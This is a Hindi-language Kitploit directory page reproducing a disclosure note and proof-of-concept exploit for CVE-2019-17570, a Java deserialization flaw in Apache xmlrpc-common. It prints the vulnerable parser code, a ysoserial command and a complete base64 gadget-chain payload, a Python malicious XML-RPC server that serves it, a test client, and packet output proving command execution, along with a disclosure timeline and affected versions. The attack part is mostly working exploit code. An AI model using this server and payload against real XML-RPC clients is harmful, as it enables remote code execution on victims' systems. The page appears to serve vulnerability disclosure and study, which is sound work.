Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
xmlrpc-common-deserialization — CVE-2019-17570 का तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Apache xmlrpc-common में Java डिसीरियलाइज़ेशन भेद्यता जो दुर्भावनापूर्ण XML-RPC सर्वर प्रतिक्रियाओं के माध्यम से दूरस्थ कोड निष्पादन सक्षम करती है। | Kitploit
उपकरण/GitHubGitHub/im23pds/xmlrpc-common-deserialization
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubim23pds/xmlrpc-common-deserialization

xmlrpc-common-deserialization

CVE-2019-17570 का तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Apache xmlrpc-common में Java डिसीरियलाइज़ेशन भेद्यता जो दुर्भावनापूर्ण XML-RPC सर्वर प्रतिक्रियाओं के माध्यम से दूरस्थ कोड निष्पादन सक्षम करती है।

रिपॉजिटरी देखें
46 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

xmlrpc-common डिसीरियलाइज़ेशन भेद्यता

यह नोट एक तकनीकी नोट है जो मूल कारण और संबंधित शोषण का विवरण देता है। आप प्रारंभिक प्रकटीकरण यहाँ पा सकते हैं। संबंधित CVE CVE-2019-17570 है।

विवरण

xmlrpc-common xmlrpc-client और xmlrpc-server के बीच एक साझा कोड आधार बनाता है। org.apache.xmlrpc.parser.XmlRpcResponseParser.addResult(Object) विधि में एक डिसीरियलाइज़ेशन भेद्यता की पहचान की गई है। यह एक हमलावर नियंत्रित xmlrpc सर्वर को एक दुर्भावनापूर्ण xmlrpc उत्तर भेजने में सक्षम बनाता है, जो xmlrpc क्लाइंट में रिमोट कोड निष्पादन को ट्रिगर करेगा।

डिसीरियलाइज़ेशन xmlrpc दोषों के उपयोग से ट्रिगर होता है, जिसमें faultCause हो सकता है। इस नोड की सामग्री को बाइट सरणी के रूप में संसाधित किया जाता है, बाद में readObject() का उपयोग करके जावा ऑब्जेक्ट में डिसीरियलाइज़ किया जाता है:

root@kitploit:~
protected void addResult(Object pResult) throws SAXException {
  if (isSuccess) {
    super.setResult(pResult);
  } else {
    Map map = (Map) pResult;
    Integer faultCode = (Integer) map.get("faultCode");
    if (faultCode == null) {
      throw new SAXParseException("Missing faultCode", getDocumentLocator());
    }
    try {
      errorCode = faultCode.intValue();
    } catch (NumberFormatException e) {
      throw new SAXParseException("Invalid faultCode: " + faultCode,
        getDocumentLocator());
    }
    errorMessage = (String) map.get("faultString");
    Object exception = map.get("faultCause");
    if (exception != null) {
      try {
        byte[] bytes = (byte[]) exception;
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        errorCause = (Throwable) ois.readObject();
        ois.close();
        bais.close();
      } catch (Throwable t) {
        // Ignore me
      }
    }
  }
}

यह भेद्यता CVE-2016-5003 से भिन्न है, जो डिसीरियलाइज़ेशन को ट्रिगर करने के लिए ex:serialized प्रकार का शोषण करता है। यह नई भेद्यता xmlrpc-common को उसके डिफ़ॉल्ट कॉन्फ़िगरेशन में भी प्रभावित करती है, भले ही एक्सटेंशन अक्षम हो।

शोषण तकनीक

जबकि भेद्यता xmlrpc-common में है, शोषण के लिए रिमोट कोड निष्पादन प्राप्त करने के लिए गैजेट्स श्रृंखला के उपयोग की आवश्यकता होती है। गैजेट्स श्रृंखला क्लासपाथ में उपलब्ध वर्गों पर निर्भर करती है। प्रदर्शन उद्देश्यों के लिए, हमारे प्रूफ-ऑफ-कॉन्सेप्ट ने क्लासपाथ में Apache commons-collections-3.2.1 जोड़ा है, और ysoserial का उपयोग करके गैजेट्स श्रृंखला उत्पन्न की गई है।

CVSSv3 आधार स्कोर: 9.8

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

प्रभाव

एक हमलावर xmlrpc-common के संवेदनशील संस्करणों का उपयोग करने वाले xmlrpc क्लाइंट के संदर्भ में मनमाना कोड निष्पादित कर सकता है।

प्रूफ ऑफ कॉन्सेप्ट

हमारा प्रूफ ऑफ कॉन्सेप्ट जानबूझकर लिखे गए एक xmlrpc परीक्षण क्लाइंट और एक हमलावर नियंत्रित xmlrpc सर्वर का उपयोग करता है।

xmlrpc सर्वर

इस सर्वर का मुख्य उद्देश्य संवेदनशील क्लाइंट को सीरियलाइज़्ड पेलोड वितरित करना है। सीरियलाइज़्ड पेलोड का उपयोग करके बनाया गया है:

root@kitploit:~
$ java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "ping www.google.com" | base64
...
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIACEIABmZvcm1hdEkACmxpbmVOdW1iZXJMAA9jbGFzc0xvYWRlck5hbWVxAH4ABUwADmRlY2xhcmluZ0NsYXNzcQB+AAVMAAhmaWxlTmFtZXEAfgAFTAAKbWV0aG9kTmFtZXEAfgAFTAAKbW9kdWxlTmFtZXEAfgAFTAANbW9kdWxlVmVyc2lvbnEAfgAFeHABAAAAU3QAA2FwcHQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0cHBzcQB+AAsBAAAANXEAfgANcQB+AA5xAH4AD3EAfgAQcHBzcQB+AAsBAAAAInEAfgANdAAZeXNvc2VyaWFsLkdlbmVyYXRlUGF5bG9hZHQAFEdlbmVyYXRlUGF5bG9hZC5qYXZhdAAEbWFpbnBwc3IAH2phdmEudXRpbC5Db2xsZWN0aW9ucyRFbXB0eUxpc3R6uBe0PKee3gIAAHhweHNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXlxAH4AAUwAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADZm9vc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AAXhwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAFWwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AApnZXRSdW50aW1ldXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAAAdAAJZ2V0TWV0aG9kdXEAfgAvAAAAAnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHZxAH4AL3NxAH4AKHVxAH4ALAAAAAJwdXEAfgAsAAAAAHQABmludm9rZXVxAH4ALwAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ACxzcQB+ACh1cgATW0xqYXZhLmxhbmcuU3RyaW5nO63SVufpHXtHAgAAeHAAAAABdAATcGluZyB3d3cuZ29vZ2xlLmNvbXQABGV4ZWN1cQB+AC8AAAABcQB+ADRzcQB+ACRzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=

सर्वर स्वयं काफी सरल है, और मुख्य रूप से इसमें शामिल है:

root@kitploit:~
def create_fault_deser(payload):
  return b'''<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <fault>
    <value>
      <struct>
        <member>
          <name>faultCode</name>
          <value><int>1337</int></value>
        </member>
        <member>
          <name>faultString</name>
          <value><string>You have been pwned</string></value>
        </member>
        <member>
          <name>faultCause</name>
          <value><base64>%s</base64></value>
        </member>
      </struct>
    </value>
  </fault>
</methodResponse>
''' % (payload)

class Handler(http.server.SimpleHTTPRequestHandler):
  def do_POST(self):
    self.send_response(200)
    self.send_header('Content-Type', 'text/xml')
    self.end_headers()

    self.wfile.write(create_fault_deser(PING_COMMONS_COLLECTIONS))

httpd = socketserver.TCPServer(('0.0.0.0', 8888), Handler)
httpd.serve_forever()

ऊपर उपयोग किया गया PING_COMMONS_COLLECTIONS चर ysoserial कमांड के आउटपुट पर सेट है।

परीक्षण xmlrpc क्लाइंट

हमारा परीक्षण क्लाइंट स्रोत है:

root@kitploit:~
package poc.xmlrpcdeser;

import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.Hashtable;
import org.apache.xmlrpc.XmlRpcException;
import org.apache.xmlrpc.client.XmlRpcClient;
import org.apache.xmlrpc.client.XmlRpcClientConfigImpl;

public class VulnerableClient {
    public static void main(String[] args) throws MalformedURLException, XmlRpcException {
        String domainName = "http://127.0.0.1:8888";

        String serverurl = domainName + "/RPC2";
        XmlRpcClientConfigImpl config = new XmlRpcClientConfigImpl();
        config.setServerURL(new URL(serverurl));
        XmlRpcClient client = new XmlRpcClient();
        client.setConfig(config);
        Object[] params = new Object[]{"test", "'tell me you are alive' 1337"};
        Object result = (Object) client.execute("xmlrpc-api", params);
    }
}

make का उपयोग करके संकलित करने के बाद, का उपयोग करके कोड निष्पादन को ट्रिगर करें:

root@kitploit:~
$ java -jar target/VulnerableClient-1.0-SNAPSHOT-jar-with-dependencies.jar

प्रमाण

दुर्भावनापूर्ण पेलोड मासूम पीड़ित को वितरित किया जाता है:

root@kitploit:~
$ ./xmlrpc-server.py
127.0.0.1 - - [redacted] "POST /RPC2 HTTP/1.1" 200 -

हमारा परीक्षण क्लाइंट विफल रहता है:

root@kitploit:~
Exception in thread "main" org.apache.xmlrpc.XmlRpcException: You have been pwned
	at org.apache.xmlrpc.client.XmlRpcStreamTransport.readResponse(XmlRpcStreamTransport.java:205)
	at org.apache.xmlrpc.client.XmlRpcStreamTransport.sendRequest(XmlRpcStreamTransport.java:156)
	at org.apache.xmlrpc.client.XmlRpcHttpTransport.sendRequest(XmlRpcHttpTransport.java:143)
	at org.apache.xmlrpc.client.XmlRpcSunHttpTransport.sendRequest(XmlRpcSunHttpTransport.java:69)
	at org.apache.xmlrpc.client.XmlRpcClientWorker.execute(XmlRpcClientWorker.java:56)
	at org.apache.xmlrpc.client.XmlRpcClient.execute(XmlRpcClient.java:167)
	at org.apache.xmlrpc.client.XmlRpcClient.execute(XmlRpcClient.java:137)
	at org.apache.xmlrpc.client.XmlRpcClient.execute(XmlRpcClient.java:126)
	at poc.xmlrpcdeser.VulnerableClient.main(VulnerableClient.java:21)
Caused by: BadAttributeValueException: foo=1
	at ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:83)
	at ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:53)
	at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
Caused by:
BadAttributeValueException: foo=1
	at ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:83)
	at ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:53)
	at ysoserial.GeneratePayload.main(GeneratePayload.java:34)

लेकिन पेलोड ping www.google.com निष्पादित किया जाता है:

root@kitploit:~
    1   0.000000    127.0.0.1 → 127.0.0.1    TCP 64 49378 → 8888 [SYN]
    3   0.000084    127.0.0.1 → 127.0.0.1    TCP 64 8888 → 49378 [SYN, ACK]
    5   0.000092    127.0.0.1 → 127.0.0.1    TCP 52 49378 → 8888 [ACK]
   11   0.001955    127.0.0.1 → 127.0.0.1    HTTP/XML 259 POST /RPC2 HTTP/1.1
   25   0.002905    127.0.0.1 → 127.0.0.1    HTTP/XML 52 HTTP/1.0 200 OK
   29   0.133997 192.168.1.14 → 216.58.198.196 ICMP 84 Echo (ping) request  id=0x1528, seq=0/0, ttl=64
   34   0.149668 216.58.198.196 → 192.168.1.14 ICMP 84 Echo (ping) reply    id=0x1528, seq=0/0, ttl=51 (request in 29)
   35   1.139284 192.168.1.14 → 216.58.198.196 ICMP 84 Echo (ping) request  id=0x1528, seq=1/256, ttl=64
   36   1.153082 216.58.198.196 → 192.168.1.14 ICMP 84 Echo (ping) reply    id=0x1528, seq=1/256, ttl=51 (request in 35)

कृपया ध्यान दें कि tshark आउटपुट को अनुपयोगी पैकेट प्रदर्शित न करने के लिए संपादित किया गया है।

समयरेखा

2019-11-19: ईमेल के माध्यम से Apache को सूचित किया गया 2019-11-19: Apache XML-RPC अब सक्रिय रूप से बनाए नहीं रखा जाता है 2019-11-21: ईमेल के माध्यम से Red Hat को सूचित किया गया 2019-11-22: भेद्यता को Apache प्रोजेक्ट को पुन: असाइन किया गया 2020-01-06: ईमेल के माध्यम से Distro OSS सुरक्षा को सूचित किया गया 2020-01-16: भेद्यता OSS सुरक्षा मेलिंग सूची में प्रकाशित की गई 2020-01-24: भेद्यता विवरण और प्रूफ ऑफ कॉन्सेप्ट github.com पर प्रकाशित किया गया

क्रेडिट

Guillaume TEISSIER (Orange) Orange समूह

प्रभावित संस्करण

xmlrpc-common xmlrpc का आधार बनाता है, और केवल कुछ कलाकृतियाँ इसका संदर्भ देती हैं। लेकिन xmlrpc क्लाइंट के उपयोगकर्ताओं पर एक नज़र डालने पर, हमें 124 कलाकृतियाँ मिलती हैं जो xmlrpc-common को संक्रमणीय रूप से एम्बेड करती हैं।

भेद्यता कम से कम निम्नलिखित संस्करणों को प्रभावित करती है:

  • 3.1.3-redhat-5
  • 3.1.3-redhat-2
  • 3.1.3-redhat-1
  • 3.1.3
  • 3.1.2
  • 3.1.1
  • 3.1

निम्नलिखित संस्करण इस भेद्यता से प्रतिरक्षित हैं, क्योंकि वे प्राप्त प्रतिक्रिया में faultCause की खोज नहीं करते हैं:

  • 3.0
  • 3.0rc1
  • 3.0b1
टूल डाउनलोड करें